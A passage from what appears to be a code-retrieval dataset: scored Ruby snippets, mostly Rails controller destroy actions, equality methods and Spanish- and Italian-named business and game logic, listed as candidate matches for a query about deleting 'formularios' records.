@resps)\n end\n end", "title": "" }, { "docid": "8993a0a22d9a5ec7014cb3138d74f517", "score": "0.5131639", "text": "def all_items_returened res\n return false unless res.dup.keep_if{|item| item.respond_to?(:note) && item.note == 'note_1'}.count == 1\n return false unless res.dup.keep_if{|item| item.respond_to?(:note) && item.note == 'note_2'}.count == 1\n return false unless res.dup.keep_if{|item| item.respond_to?(:attach_file_name) && item.attach_file_name == 'pdf_test_1.pdf'}.count == 1\n return false unless res.dup.keep_if{|item| item.respond_to?(:attach_file_name) && item.attach_file_name == 'pdf_test_2.pdf'}.count == 1\n true\n end", "title": "" }, { "docid": "7f274edecc9409ad6d7a21f21d588dd9", "score": "0.51314545", "text": "def canAnswer(i, g)\n if @cards.include? g.person\n retVal = g.person\n elsif @cards.include? g.place\n retVal = g.place\n elsif @cards.include? g.weapon\n retVal = g.weapon\n else\n retVal = nil\n end\n return retVal\n end", "title": "" }, { "docid": "ad16b63d571bd579090866928ec6f24d", "score": "0.51313746", "text": "def ganador?\n if hay_empate?\n [@jugador_uno, @jugador_dos]\n else\n @resultados[@jugador_uno.gana?(@jugador_dos)]\n end\n end", "title": "" }, { "docid": "df0be608bfcc23bc01d1bb637d2714eb", "score": "0.5130361", "text": "def positive_response?\n POSITIVE_RESULT.include?(self.result)\n end", "title": "" }, { "docid": "435b19ff105f842bf64f871a706acb89", "score": "0.512924", "text": "def procesando?\n @estado == 'procesando'\n end", "title": "" }, { "docid": "08f377f2bc772d2d44fa4e84ac62f0fa", "score": "0.5127533", "text": "def inscrite?\n self.paiementsTotal == 0 and !self.enRegle?\n end", "title": "" }, { "docid": "5c617fed4d99659df6ac450da3f9956d", "score": "0.5118074", "text": "def ==(o)\n return true if self.equal?(o)\n self.class == o.class &&\n id_cliente == o.id_cliente &&\n id_fornitore == o.id_fornitore &&\n nome == o.nome &&\n indirizzo_via == o.indirizzo_via &&\n indirizzo_cap == o.indirizzo_cap &&\n indirizzo_citta == o.indirizzo_citta &&\n indirizzo_provincia == o.indirizzo_provincia &&\n indirizzo_extra == o.indirizzo_extra &&\n paese == o.paese &&\n paese_iso == o.paese_iso &&\n lingua == o.lingua &&\n piva == o.piva &&\n cf == o.cf &&\n autocompila_anagrafica == o.autocompila_anagrafica &&\n salva_anagrafica == o.salva_anagrafica &&\n numero == o.numero &&\n valuta == o.valuta &&\n valuta_cambio == o.valuta_cambio &&\n prezzi_ivati == o.prezzi_ivati &&\n rivalsa == o.rivalsa &&\n cassa == o.cassa &&\n rit_acconto == o.rit_acconto &&\n imponibile_ritenuta == o.imponibile_ritenuta &&\n rit_altra == o.rit_altra &&\n marca_bollo == o.marca_bollo &&\n oggetto_visibile == o.oggetto_visibile &&\n oggetto_interno == o.oggetto_interno &&\n centro_ricavo == o.centro_ricavo &&\n centro_costo == o.centro_costo &&\n note == o.note &&\n nascondi_scadenza == o.nascondi_scadenza &&\n ddt == o.ddt &&\n ftacc == o.ftacc &&\n id_template == o.id_template &&\n ddt_id_template == o.ddt_id_template &&\n ftacc_id_template == o.ftacc_id_template &&\n mostra_info_pagamento == o.mostra_info_pagamento &&\n metodo_pagamento == o.metodo_pagamento &&\n metodo_titolo_n == o.metodo_titolo_n &&\n metodo_desc_n == o.metodo_desc_n &&\n mostra_totali == o.mostra_totali &&\n mostra_bottone_paypal == o.mostra_bottone_paypal &&\n mostra_bottone_bonifico == o.mostra_bottone_bonifico &&\n mostra_bottone_notifica == o.mostra_bottone_notifica &&\n lista_articoli == o.lista_articoli &&\n lista_pagamenti == o.lista_pagamenti &&\n ddt_numero == o.ddt_numero &&\n ddt_colli == o.ddt_colli &&\n ddt_peso == o.ddt_peso &&\n ddt_causale == o.ddt_causale &&\n ddt_luogo == o.ddt_luogo &&\n ddt_trasportatore == o.ddt_trasportatore &&\n ddt_annotazioni == o.ddt_annotazioni &&\n pa == o.pa &&\n pa_tipo_cliente == o.pa_tipo_cliente &&\n pa_tipo == o.pa_tipo &&\n pa_numero == o.pa_numero &&\n pa_cup == o.pa_cup &&\n pa_cig == o.pa_cig &&\n pa_codice == o.pa_codice &&\n pa_pec == o.pa_pec &&\n pa_esigibilita == o.pa_esigibilita &&\n pa_modalita_pagamento == o.pa_modalita_pagamento &&\n pa_istituto_credito == o.pa_istituto_credito &&\n pa_iban == o.pa_iban &&\n pa_beneficiario == o.pa_beneficiario &&\n extra_anagrafica == o.extra_anagrafica &&\n split_payment == o.split_payment\n end", "title": "" }, { "docid": "2d0f844517f4ce0fb7387c3cf2dfd85d", "score": "0.51139075", "text": "def same_ids?(object,other)\n case object\n when FlickRaw::Response then same_ids?(object.instance_eval('@h'), other.instance_eval('@h'))\n when Fixnum then nil\n when String then object.__id__ == other.__id__\n when Array then object.each_with_index.map do |value,index|\n same_ids?(value,other[index])\n end.keep_if do |value|\n !value.nil?\n end.inject(true) do |previous,current|\n previous && current\n end\n when Hash then object.keys.map do |key|\n same_ids?(object[key],other[key])\n end.keep_if do |value|\n !value.nil?\n end.inject(true) do |previous,current|\n previous && current\n end\n end\n end", "title": "" }, { "docid": "f84dd84b044fbe1130df6b815b487ac4", "score": "0.5110714", "text": "def is_similar_to? other_request\n ud_arr = [\"update\", \"destroy\"]\n if @action == \"create\" && other_request.action == \"create\"\n true\n elsif ud_arr.include?(@action) || ud_arr.include?(other_request.action)\n @appointment_id == other_request.appointment_id\n else\n raise Exception.new(\"This method works only for 'create', 'update' and 'destroy' methods.\")\n end\n end", "title": "" }, { "docid": "0f3ab7ab7cdd4720b36786ad8d4577b8", "score": "0.51097435", "text": "def paga_alquiler(cantidad)\n if @encarcelado\n return false\n else \n paga(cantidad) \n end \n end", "title": "" }, { "docid": "63f2d40fd73c5a90464e5352e2a21bcf", "score": "0.5108517", "text": "def confirmation\n \n @has_cageot_or_abo = false \n #__ REGARDE SI ABONNEMENT \n \tif current_client.nil?\n \t\t@abonnement_exist = Abonnement.where(\"etat = 'en_cours' AND session_id = ?\", session[:abonnement_id])\n \telse\n \t\t@abonnement_exist = Abonnement.where(\"etat = 'en_cours' AND client_id = ?\", current_client.id)\n \tend\n \t@listing_produit = nil\n \t@abonnement_panier = nil\n \t#__ SI ABONNEMENT EXISTE ___\n \tif @abonnement_exist.count > 0\n \t @has_cageot_or_abo = true\n \t\t#__ @abonnement_panier = Abonnement.find(@abonnement_exist[0].id)\n \t#__ SI ABONNEMENT EXISTE PAS\n \telse\n \t\t@titre = \"Resume cageot\"\n \t\tif !current_client.nil?\n \t\t\t@cageot_exist = Cageot.where(\"etat = 'en_cours' AND client_id = ?\", current_client.id)\n \t\telse\n \t\t\tif !session[:cageot_id].nil?\n \t\t\t\t@cageot_exist = Cageot.where(\"etat = 'en_cours' AND session_id = ?\", session[:cageot_id])\n \t\t\telse\n \t\t\t\t@cageot_exist = []\n \t\t\tend\n \t\tend\n \t\t\n \t\t#__ SI PANIER EXISTE _____\n \t\tif @cageot_exist.count > 0\n \t\t\t@cageot_ = Cageot.find(@cageot_exist[0].id)\n \t\t\t@rel_cageot = RelCageotProduit.where(:cageot_id => @cageot_.id)\n \t\t\t#____ SI PRODUIT DANS PANIER ____\n \t\t\tif @rel_cageot.count > 0\n \t\t\t @has_cageot_or_abo = true\n \t\t\t\t#@point_relais = PointRelai.all #__ ACHANGER PEUT ETRE\n \t\t\tend\n \t\tend\n \tend\n\t\n\t#__ SI ABONNEMENT OU CAGEOT__\n\tif @has_cageot_or_abo\n\t @point_relais = PointRelai.all #__ ACHANGER PEUT ETRE\n\t render :confirmation\n\telse\n\t flash[:notice] = \"Votre panier est vide\"\n\t redirect_to process_order_resume_path\n\tend\n end", "title": "" }, { "docid": "65dcda8873d3311a5ea423aada7c5340", "score": "0.5107707", "text": "def ganador?\n ganador_cant = @resultados_rondas.inject(Hash.new(0)) { |h,v| h[v] += 1; h }\n if hay_empate? ganador_cant\n \t[@jugador_uno, @jugador_dos]\n else\n \tdefinir_ganador ganador_cant\n end\n end", "title": "" }, { "docid": "540849b9b35c584571dc3f01d436ebd2", "score": "0.5105568", "text": "def ifg\n emu.skip unless a.get > b.get\n end", "title": "" }, { "docid": "0d2a33d0f95cccea0a4360905676b9d4", "score": "0.5104084", "text": "def ifb\n emu.skip unless (a.get & b.get) != 0\n end", "title": "" }, { "docid": "694392db2c6f4d11e5e28a6609b9929a", "score": "0.5100039", "text": "def hay_empate?\n !@jugador_uno.gana?(@jugador_dos) && !@jugador_dos.gana?(@jugador_uno)\n end", "title": "" }, { "docid": "416f8c4731d820cef01a551a0d6644f6", "score": "0.50959635", "text": "def verificarInstruccionCondicional(instruccion, tablaActual)\n #Se busca en los alcances hasta encontrar la primera expresion valida\n tablaAux = tablaActual\n guardia = verificarExpresion(instruccion.guardia, tablaAux)\n\n while (!guardia and !tablaAux.nil?)\n guardia = verificarExpresion(instruccion.guardia, tablaAux)\n tablaAux = tablaAux.obtenerPadre()\n end\n\n #Verifica si la guardia es de tipo booleano\n if (not guardia.eql? \"bool\") then\n tokenAux = instruccion.guardia\n\n while (!(tokenAux.class.eql? Identificador) and !(tokenAux.class.eql? LitNum) and !(tokenAux.class.eql? LitChar) and !(tokenAux.class.eql? LitTrue) and !(tokenAux.class.eql? LitFalse))\n tokenAux = tokenAux.izquierda\n end\n\n error = \"Error en la linea #{tokenAux.token.linea}: La guardia del if no es de tipo booleano\"\n $tablaErrores << error\n end\n\n verificarInstruccion(instrucciones.instruccion, tablaActual) \n end", "title": "" }, { "docid": "32530a1754d76c60c264fd04d63f01a6", "score": "0.5092994", "text": "def ==(o)\n return true if self.equal?(o)\n self.class == o.class &&\n cartao_mascarado == o.cartao_mascarado &&\n codigo_autorizacao == o.codigo_autorizacao &&\n codigo_mcc == o.codigo_mcc &&\n codigo_moeda_destino == o.codigo_moeda_destino &&\n codigo_moeda_origem == o.codigo_moeda_origem &&\n codigo_referencia == o.codigo_referencia &&\n codigo_terminal == o.codigo_terminal &&\n cotacao_usd == o.cotacao_usd &&\n data_cotacao_usd == o.data_cotacao_usd &&\n data_faturamento == o.data_faturamento &&\n data_origem == o.data_origem &&\n data_vencimento_real == o.data_vencimento_real &&\n descricao_abreviada == o.descricao_abreviada &&\n descricao_tipo_transacao_nao_processada == o.descricao_tipo_transacao_nao_processada &&\n detalhes_transacao == o.detalhes_transacao &&\n flag_credito == o.flag_credito &&\n flag_faturado == o.flag_faturado &&\n grupo_descricao_mcc == o.grupo_descricao_mcc &&\n grupo_mcc == o.grupo_mcc &&\n id_conta == o.id_conta &&\n id_estabelecimento == o.id_estabelecimento &&\n id_tipo_transacao_nao_processada == o.id_tipo_transacao_nao_processada &&\n id_transacao_estorno == o.id_transacao_estorno &&\n localidade_estabelecimento == o.localidade_estabelecimento &&\n modo_entrada_transacao == o.modo_entrada_transacao &&\n nome_estabelecimento == o.nome_estabelecimento &&\n nome_fantasia_estabelecimento == o.nome_fantasia_estabelecimento &&\n nome_portador == o.nome_portador &&\n parcela == o.parcela &&\n plano == o.plano &&\n status == o.status &&\n taxa_embarque == o.taxa_embarque &&\n valor_brl == o.valor_brl &&\n valor_entrada == o.valor_entrada &&\n valor_usd == o.valor_usd\n end", "title": "" }, { "docid": "6815d68af29e2ea5b472b16e8cc07447", "score": "0.50869304", "text": "def puedoTomarInsumos?\n puedo = true\n puedo = ($cebada >= @cantidadCMax) if self.class.included_modules.include?(RecibeCebada)\n puedo = ($mezcla >= @cantidadMMax) if self.class.included_modules.include?(RecibeMezcla)\n puedo = ($lupulo >= @cantidadLMax) if self.class.included_modules.include?(RecibeLupulo)\n puedo = ($levadura >= @cantidadVMax) if self.class.included_modules.include?(RecibeLevadura)\n puedo\n end", "title": "" }, { "docid": "f96b082873ae865cd1f0b726092b5810", "score": "0.508665", "text": "def intersect_result(res, negative: false)\n if @ret.any?\n if negative\n @ret -= res\n else\n @ret &= res\n end\n else\n @ret = res\n end\n end", "title": "" }, { "docid": "a65ebc88e108137b3120579d45ef4fac", "score": "0.5081745", "text": "def prism_type(a, b, c) #nombre del método con tres parámetros\n if a != b && b != c && a != c #se le dice a la condición, que si todas son diferentes, manda imprimir \"cuboide\"\n p \"cuboide\"\n elsif a == b && b != c && c != a #si en la condición son dos lados iguales manda imprimir \"prisma rectangular\"\n p \"prisma rectangular\"\n else a == b && b == c && c == a #si en la condición los tres lados son iguales manda imprimir \"cubo\"\n p \"cubo\"\n end \nend", "title": "" }, { "docid": "98413d930dd83541fd746e4d224f9612", "score": "0.5079312", "text": "def ==(o)\n return true if self.equal?(o)\n self.class == o.class &&\n numero_do_documento == o.numero_do_documento &&\n data_processamento == o.data_processamento &&\n data_documento == o.data_documento &&\n data_vencimento == o.data_vencimento &&\n data_fechamento == o.data_fechamento &&\n valor_boleto == o.valor_boleto &&\n nome_beneficiario == o.nome_beneficiario &&\n documento_beneficiario == o.documento_beneficiario &&\n agencia == o.agencia &&\n codigo_beneficiario == o.codigo_beneficiario &&\n numero_convenio == o.numero_convenio &&\n digito_codigo_beneficiario == o.digito_codigo_beneficiario &&\n carteira == o.carteira &&\n nosso_numero == o.nosso_numero &&\n digito_nosso_numero == o.digito_nosso_numero &&\n banco == o.banco &&\n aceite == o.aceite &&\n especie_do_documento == o.especie_do_documento &&\n especie == o.especie &&\n instrucoes == o.instrucoes &&\n locais_de_pagamento == o.locais_de_pagamento &&\n nome_pagador == o.nome_pagador &&\n documento_pagador == o.documento_pagador &&\n logradouro_pagador == o.logradouro_pagador &&\n bairro_pagador == o.bairro_pagador &&\n cep_pagador == o.cep_pagador &&\n cidade_pagador == o.cidade_pagador &&\n uf_pagador == o.uf_pagador &&\n codigo_de_barras == o.codigo_de_barras &&\n linha_digitavel == o.linha_digitavel &&\n id == o.id &&\n id_conta == o.id_conta &&\n endereco_cobranca_beneficiario == o.endereco_cobranca_beneficiario &&\n status == o.status &&\n boleto_registrado == o.boleto_registrado\n end", "title": "" }, { "docid": "b34490cf4bc947ffbc54e84d61a36362", "score": "0.5078632", "text": "def where_is_yadis?(resp); end", "title": "" }, { "docid": "4489b46b70293fa81e4c7e492a4bdf48", "score": "0.5077286", "text": "def test_should_discover_if_promotion_is_active\n assert promotions(:fixed_rebate).is_active?\n assert promotions(:percent_rebate).is_active?\n assert promotions(:eat_more_stuff).is_active?\n assert !promotions(:old_rebate).is_active?\n end", "title": "" }, { "docid": "206bdcad2844f9f1049b897c08968858", "score": "0.5076717", "text": "def check_scope()\n @juego_partida.resultados[@p1_player_name] < @cantidad_juego && @juego_partida.resultados[@p2_player_name] < @cantidad_juego\n end", "title": "" }, { "docid": "966b168066dfa69361f0ac0123b822ea", "score": "0.5073406", "text": "def test(resp)\n result = Array.new(@exam.list.count, 0)\n i = 0\n @exam.list.each do |p|\n result[i] = (p.right.to_s.eql?resp[i].to_s)?1:0\n i += 1\n end\n result\n end", "title": "" }, { "docid": "5cd15b27d2591e86510ac0d3f6162cfc", "score": "0.5071954", "text": "def son_iguales(anio_a,anio_n)\r\n print anio_a\r\n print anio_n\r\n if anio_a==anio_n\r\n return true\r\n else\r\n return false\r\n end\r\nend", "title": "" }, { "docid": "cd1a176487d7af922fdf14d1d6cdf257", "score": "0.50685406", "text": "def check_request\n request = Friend.where(\"(friend_one = ? AND friend_two = ?) OR (friend_one = ? AND friend_two = ?)\",\n params[:user_id], params[:friend_id],\n params[:friend_id], params[:user_id]).first\n if request.present?\n if request.is_accepted\n render json: { friend: request, status: 'friends'}\n else\n if request.friend_one == params[:user_id]\n render json: { friend: request, status: 'awaiting response'}\n else\n render json: { friend: request, status: 'accept request'}\n end\n end\n else\n render json: { status: 'none'}\n end\n end", "title": "" }, { "docid": "6e3fb8f26eece452ce561241a8ab8289", "score": "0.50655377", "text": "def has_desired_solution(object, value)\n @consequent.object == object and @consequent.value == value\n end", "title": "" }, { "docid": "ad5bbe8a8c2e8be37991f5a889ff8f6c", "score": "0.5064031", "text": "def procesar\n if inactiva? then\n tomarInsumos\n elsif llena? then\n @estado = 'procesando'\n end\n\n if procesando? then\n if @cicloActual < @ciclosProcesamiento then\n @cicloActual = @cicloActual.succ\n else\n @cicloActual = 0\n @cantidadProducida = 0\n @cantidadProducida = @cantidadMaxima * (1 - @desecho)\n eliminarInsumos unless self.is_a? Silos_de_Cebada\n @estado = 'en espera'\n enviar\n end\n elsif en_espera? then\n if @siguiente.inactiva? then\n enviar\n end\n end\n end", "title": "" }, { "docid": "d5ec450f4c94f0f0bfb1c190211da24e", "score": "0.50616956", "text": "def correct?\n return @response == @q.answer\n end", "title": "" }, { "docid": "4c3ab368487567bddc2ef0f8cc8b9b45", "score": "0.5061192", "text": "def ordenar! \n\t\t\tcambio = true\n\t\t\twhile cambio\n\t\t\t\tcambio = false\n\t\t\t\ti = @inicio\n\t\t\t\ti_1 = @inicio[:sig]\n\t\t\t\twhile i_1 != nil\n\t\t\t\t\tif(i[:valor] > i_1[:valor])\n\t\t\t\t\t\ti[:valor], i_1[:valor] = i_1[:valor], i[:valor]\n\t\t\t\t\t\tcambio = true\n\t\t\t\t\tend\n\t\t\t\t\ti = i_1\n\t\t\t\t\ti_1 = i_1[:sig]\n\t\t\t\tend\n\t\t\tend\n\t\tend", "title": "" }, { "docid": "bc5b093eaa21483cb4bb211df6e5861e", "score": "0.5057615", "text": "def calcularPreco(itens)\n total = 0;qtdA = 0;qtdB = 0 \n if itens and itens.kind_of?(Array)\n itens.each { |i|\n (i == Item::A) ? qtdA += 1 : (i == Item::B) ? qtdB += 1 : 0\n total += i\n if qtdA == QtdAplicaDesconto::A\n total -= Descontos::A\n qtdA = 0\n end\n if qtdB == QtdAplicaDesconto::B\n total -= Descontos::B\n qtdB = 0\n end \n }\n return total\n end \n return total\nend", "title": "" }, { "docid": "c94d2bd88d07cfa36fc29e178a1dc142", "score": "0.505644", "text": "def parcelle_assoc_saison_incoh\n err = false\n self.parcelles.each { |p| err = true unless p.saison_id.eql?(self.saison_id) }\n self.factoparcelles.each { |a| err = true unless a.saison_id.eql?(self.saison_id) }\n return (err)\n end", "title": "" } ]
5eb69a64bfec10944c9eddbeec24ef6c
DELETE /formularios/1 DELETE /formularios/1.json
[ { "docid": "c506a619a7eb49c36a390ab3d40aa9f6", "score": "0.74316627", "text": "def destroy\n @formulario.destroy\n respond_to do |format|\n format.html { redirect_to formularios_url, notice: 'Formulario was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "title": "" } ]
[ { "docid": "c1a6fd71d53643fe861e7eadfaac028a", "score": "0.76868254", "text": "def destroy\n @formulario = Formulario.find(params[:id])\n @formulario.destroy\n\n respond_to do |format|\n format.html { redirect_to formularios_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "dbd2b740c6cff83b12f66b034a3518bb", "score": "0.75603044", "text": "def destroy\n @formulatio.destroy\n respond_to do |format|\n format.html { redirect_to formulatios_url, notice: 'Formulatio was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "23afff14813247f8a378e0fe686ca52d", "score": "0.7430804", "text": "def destroy\n @formulario = Formulario.find(params[:id])\n @formulario.destroy\n\n FormularioCurso.where(:formulario_id => @formulario).destroy_all\n\n respond_to do |format|\n format.html { redirect_to formularios_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "9d8b7e05c97b8d1b5866a72088e54580", "score": "0.7399232", "text": "def destroy\n @formulario.destroy!\n respond_to do |format|\n format.html { redirect_to formularios_url, notice: 'Formulario was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "52d446fd32f69a4b0c3671bbcde28af9", "score": "0.735883", "text": "def destroy\n @formulario.destroy\n respond_to do |format|\n format.html { redirect_to formularios_url, notice: 'Formulario fue destruido con éxito.' }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "64c2c3e3f9835cefe0f2b7d789b62265", "score": "0.7348005", "text": "def delete\n item = Form.last\n id = item[:id]\n item.destroy\n render json: {id: id}\n end", "title": "" }, { "docid": "d9a1b5cddaa98a454bb6230043f4b74a", "score": "0.7331373", "text": "def destroy\n @formulario.destroy\n respond_to do |format|\n format.html { redirect_to formularios_url, notice: 'Formulario deletado com sucesso.' }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "a6ee1c82aef62a41aa5a9c801716e170", "score": "0.7309699", "text": "def destroy\n @formulario = Formulario.find(params[:id])\n @formulario.destroy\n\n respond_to do |format|\n format.html { redirect_to(formularios_url) }\n format.xml { head :ok }\n end\n end", "title": "" }, { "docid": "a6ee1c82aef62a41aa5a9c801716e170", "score": "0.7309699", "text": "def destroy\n @formulario = Formulario.find(params[:id])\n @formulario.destroy\n\n respond_to do |format|\n format.html { redirect_to(formularios_url) }\n format.xml { head :ok }\n end\n end", "title": "" }, { "docid": "2732b01ffc7c69af1580e09f43e9734e", "score": "0.7265482", "text": "def destroy\n @form1 = Form1.find(params[:id])\n @form1.destroy\n\n respond_to do |format|\n format.html { redirect_to form1s_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "452078f63621a6bb5bcfbb24ce44077e", "score": "0.7193878", "text": "def destroy\n @form = Form.find(params[:id])\n @form.destroy\n\n respond_to do |format|\n format.html { redirect_to forms_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "452078f63621a6bb5bcfbb24ce44077e", "score": "0.7193878", "text": "def destroy\n @form = Form.find(params[:id])\n @form.destroy\n\n respond_to do |format|\n format.html { redirect_to forms_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "85ecd8333a793abddebbd4c31ecfa2ba", "score": "0.718154", "text": "def destroy\n @form.destroy\n respond_to do |format|\n format.html { redirect_to forms_url, notice: 'Класс успешно удален.' }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "600c25264d85407de2dca41a2e73bb82", "score": "0.7175784", "text": "def destroy\n @formular.destroy\n respond_to do |format|\n format.html { redirect_to formulars_url, notice: 'Formular was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "5d45f66096bb0c3870d34eb4c9404c07", "score": "0.7175174", "text": "def destroy\n @form = Form.find(params[:id])\n p @form,\"??????????????\"\n @form.destroy\n p @a, \"************\"\n\n respond_to do |format|\n format.html { redirect_to forms_path }\n format.json { head :ok }\n end\n end", "title": "" }, { "docid": "6d97b53a1c6e3a21278a518340da3a91", "score": "0.7170624", "text": "def destroy\n @form = Form.find(params[:id]) \n\n respond_to do |format|\n format.html { redirect_to forms_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "c7f90586673a0a6e1eb2ffd1cf2306ba", "score": "0.7170259", "text": "def destroy\n @formulario_field.destroy\n respond_to do |format|\n format.html { redirect_to @formulario, notice: 'Formulario field was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "e8946c2cde4e0afa3e9a0fc962aa0096", "score": "0.7146524", "text": "def destroy\n @formulariosobservacion.destroy\n respond_to do |format|\n format.html { redirect_to formulariosobservaciones_url, notice: \"Formulariosobservacion was successfully destroyed.\" }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "ecdadcd6355f91ab1915bca87df6f83c", "score": "0.71316874", "text": "def destroy\n @forma_vypuska.destroy\n respond_to do |format|\n format.html { redirect_to forma_vypuskas_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "dfe2e98440f77aef1c87ca10eebf0a13", "score": "0.7096636", "text": "def delete_form(form_id)\n start.uri('/api/form')\n .url_segment(form_id)\n .delete()\n .go()\n end", "title": "" }, { "docid": "8cdb740ae390c59ec2855e3a0cea4a97", "score": "0.7066919", "text": "def send_delete_form1(model)\n # Validate required parameters.\n validate_parameters(\n 'model' => model\n )\n # Prepare query url.\n _query_builder = config.get_base_uri\n _query_builder << '/form/deleteForm1'\n _query_url = APIHelper.clean_url _query_builder\n\n # Prepare headers.\n _headers = {\n 'accept' => 'application/json'\n }\n\n # Prepare form parameters.\n _parameters = {\n 'model' => model\n }\n _parameters = APIHelper.form_encode_parameters(_parameters)\n\n # Prepare and execute HttpRequest.\n _request = config.http_client.delete(\n _query_url,\n headers: _headers,\n parameters: _parameters\n )\n _response = execute_request(_request)\n\n # Validate response against endpoint and global error codes.\n return nil if _response.status_code == 404\n validate_response(_response)\n\n # Return appropriate response type.\n decoded = APIHelper.json_deserialize(_response.raw_body)\n ServerResponse.from_hash(decoded)\n end", "title": "" }, { "docid": "f62cbcda94c276185304c7e24d3d56b0", "score": "0.7059494", "text": "def destroy\n @formapagamento = Formapagamentoe.find(params[:id])\n @formapagamento.destroy\n\n respond_to do |format|\n format.html { redirect_to formapagamentoes_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "4cdcde78c31d076c5db9344bf7bc2d27", "score": "0.7058927", "text": "def destroy\n @eolform = Eolform.find(params[:id])\n @eolform.destroy\n\n respond_to do |format|\n format.html { redirect_to eolforms_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "6e3e2197cbc884073d4f154b120d3e28", "score": "0.7054636", "text": "def destroy\n @form_a1.destroy\n respond_to do |format|\n format.html { redirect_to form_a1s_url, notice: 'Form a1 was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "f4c12907e5176c7a55c882a4b5567a28", "score": "0.70521486", "text": "def destroy\n @oficio = Oficio.find(params[:id])\n @oficio.destroy\n\n respond_to do |format|\n format.html { redirect_to oficios_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "2ab788d51d68f3ea6ce3d2450ded7216", "score": "0.70380914", "text": "def destroy\n @form_uni_seguro.destroy\n respond_to do |format|\n format.html { redirect_to form_uni_seguros_url, notice: 'Form uni seguro was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "05dd0975ce3e8669df810f2d7d1dd6e8", "score": "0.7015918", "text": "def destroy\n @internalformfeild.destroy\n respond_to do |format|\n format.html { redirect_to internalformfeilds_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "6814566fbedd169a8337638c856e4313", "score": "0.70092636", "text": "def destroy\n @form_cultivo.destroy\n respond_to do |format|\n format.html { redirect_to form_cultivos_url, notice: 'Form cultivo was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "daf9a96591b75652441d958fcc541e6c", "score": "0.70023346", "text": "def destroy\n @soi_form = SoiForm.find(params[:id])\n @soi_form.destroy\n\n respond_to do |format|\n format.html { redirect_to personal_detail_path }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "27abbd952ef7179f6df06c073ad59f6b", "score": "0.6998366", "text": "def destroy\n @idioma = Idioma.find(params[:id])\n @idioma.destroy\n\n respond_to do |format|\n format.html { redirect_to idiomas_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "799e560a06e585a9950a9233ec1c5847", "score": "0.6990677", "text": "def destroy\n @formas_de_pago.destroy\n respond_to do |format|\n format.html { redirect_to formas_de_pagos_url, notice: 'Formas de pago was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "887432e4b57a71666f432ad34958877c", "score": "0.6982367", "text": "def destroy\n @solicitud = Solicitud.find(params[:id])\n @solicitud.destroy\n\n respond_to do |format|\n format.html { redirect_to root_path }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "b924d95181fc080134445b87696dfc05", "score": "0.6964409", "text": "def destroy\n @formul.destroy\n respond_to do |format|\n format.html { redirect_to formuls_url, notice: 'Formul was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "81ece223c5f3d8b8a4372d82f4150af5", "score": "0.69615096", "text": "def destroy\n @form_detail.destroy\n respond_to do |format|\n format.html { redirect_to formular_url(@formular), notice: 'Form result was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "522c2e3f7d8d9bcb98bafb9192cfd3e6", "score": "0.6944924", "text": "def destroy\n @formadepago = Formadepago.find(params[:id])\n @formadepago.destroy\n\n respond_to do |format|\n format.html { redirect_to formadepagos_url }\n #format.json { head :ok }\n end\n end", "title": "" }, { "docid": "31dfde521aa12ba86fb12ab17352fd78", "score": "0.69436085", "text": "def destroy\n @formacao.destroy\n respond_to do |format|\n format.html { redirect_to formacaos_url, notice: 'Formacao was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "40ffdf38b7dce490605d51b474733714", "score": "0.6920824", "text": "def destroy\n @consultorio = Consultorio.find(params[:id])\n @consultorio.destroy\n\n respond_to do |format|\n format.html { redirect_to consultorios_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "58dd05532eefdf4a4165e80822093b21", "score": "0.69197947", "text": "def destroy\n # @form.destroy\n # respond_to do |format|\n # format.html { redirect_to forms_url, notice: 'Form was successfully destroyed.' }\n # format.json { head :no_content }\n # end\n end", "title": "" }, { "docid": "d8c484ef247ad1a8ebfca1f29a66d22d", "score": "0.6909854", "text": "def destroy\n @ejercicio1 = Ejercicio1.find(params[:id])\n @ejercicio1.destroy\n\n respond_to do |format|\n format.html { redirect_to ejercicio1s_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "c38135bc90a0f37d339939575590ba48", "score": "0.6900332", "text": "def destroy\n @forma_pago.destroy\n respond_to do |format|\n format.html { redirect_to forma_pagos_url, notice: 'Forma pago was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "06ad53d2768018d4701df3b7e1aa05f4", "score": "0.68989915", "text": "def destroy\n @baciloscopia_form.destroy\n respond_to do |format|\n format.html { redirect_to baciloscopia_forms_url, notice: 'Baciloscopia form was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "660c8fb275102a2665b7efda9a1d7584", "score": "0.6898118", "text": "def destroy\n @tipologium = Tipologium.find(params[:id])\n 